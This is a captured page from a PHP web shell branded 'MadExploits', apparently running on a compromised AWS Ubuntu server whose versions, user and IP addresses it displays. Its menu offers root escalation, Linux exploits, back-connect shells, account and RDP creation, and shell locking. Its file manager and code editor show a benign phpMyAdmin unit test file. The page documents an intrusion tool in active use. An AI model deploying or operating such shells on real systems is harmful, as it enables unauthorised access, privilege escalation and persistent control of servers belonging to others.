Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 18.219.81.99
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stage /
phpmyadmin /
tests /
unit /
Config /
[ HOME SHELL ]
Name
Size
Permission
Action
Forms
[ DIR ]
drwxr-xr-x
Settings
[ DIR ]
drwxr-xr-x
ConfigFileTest.php
14.23
KB
-rw-r--r--
DescriptionTest.php
3.72
KB
-rw-r--r--
FormDisplayTemplateTest.php
7.73
KB
-rw-r--r--
FormDisplayTest.php
11.16
KB
-rw-r--r--
FormTest.php
6.12
KB
-rw-r--r--
PageSettingsTest.php
3.29
KB
-rw-r--r--
ServerConfigChecksTest.php
6.77
KB
-rw-r--r--
SettingsTest.php
69.85
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : PageSettingsTest.php
<?php declare(strict_types=1); namespace PhpMyAdmin\Tests\Config; use PhpMyAdmin\Config; use PhpMyAdmin\Config\PageSettings; use PhpMyAdmin\ConfigStorage\Relation; use PhpMyAdmin\Current; use PhpMyAdmin\DatabaseInterface; use PhpMyAdmin\ResponseRenderer; use PhpMyAdmin\Template; use PhpMyAdmin\Tests\AbstractTestCase; use PhpMyAdmin\UserPreferences; use PHPUnit\Framework\Attributes\BackupStaticProperties; use PHPUnit\Framework\Attributes\CoversClass; use ReflectionProperty; #[CoversClass(PageSettings::class)] class PageSettingsTest extends AbstractTestCase { /** * Setup tests */ protected function setUp(): void { parent::setUp(); $this->setLanguage(); $this->setGlobalConfig(); DatabaseInterface::$instance = $this->createDatabaseInterface(); Current::$database = 'db'; Current::$table = ''; $_SERVER['SCRIPT_NAME'] = 'index.php'; Config::getInstance()->selectedServer['DisableIS'] = false; } /** * Test showGroup when group passed does not exist */ public function testShowGroupNonExistent(): void { $dbi = DatabaseInterface::getInstance(); $object = new PageSettings(new UserPreferences($dbi, new Relation($dbi), new Template())); $object->init('NonExistent'); self::assertSame('', $object->getHTML()); } /** * Test showGroup with a known group name */ #[BackupStaticProperties(true)] public function testShowGroupBrowse(): void { (new ReflectionProperty(ResponseRenderer::class, 'instance'))->setValue(null, null); $dbi = DatabaseInterface::getInstance(); $object = new PageSettings( new UserPreferences($dbi, new Relation($dbi), new Template()), ); $object->init('Browse'); $html = $object->getHTML(); // Test some sample parts self::assertStringContainsString( '<div id="page_settings_modal">' . '<div class="page_settings">' . '<form method="post" ' . 'action="index.php?route=%2F&db=db&server=1&lang=en" ' . 'class="config-form disableAjax">', $html, ); self::assertStringContainsString('<input type="hidden" name="submit_save" value="Browse">', $html); self::assertStringContainsString( "window.Config.registerFieldValidator('MaxRows', 'validatePositiveNumber', true);\n" . "window.Config.registerFieldValidator('RepeatCells', 'validateNonNegativeNumber', true);\n" . "window.Config.registerFieldValidator('LimitChars', 'validatePositiveNumber', true);\n", $html, ); } /** * Test getNaviSettings */ public function testGetNaviSettings(): void { $dbi = DatabaseInterface::getInstance(); $pageSettings = new PageSettings( new UserPreferences($dbi, new Relation($dbi), new Template()), ); $pageSettings->init('Navi', 'pma_navigation_settings'); $html = $pageSettings->getHTML(); // Test some sample parts self::assertStringContainsString('<div id="pma_navigation_settings">', $html); self::assertStringContainsString('<input type="hidden" name="submit_save" value="Navi">', $html); } }
Close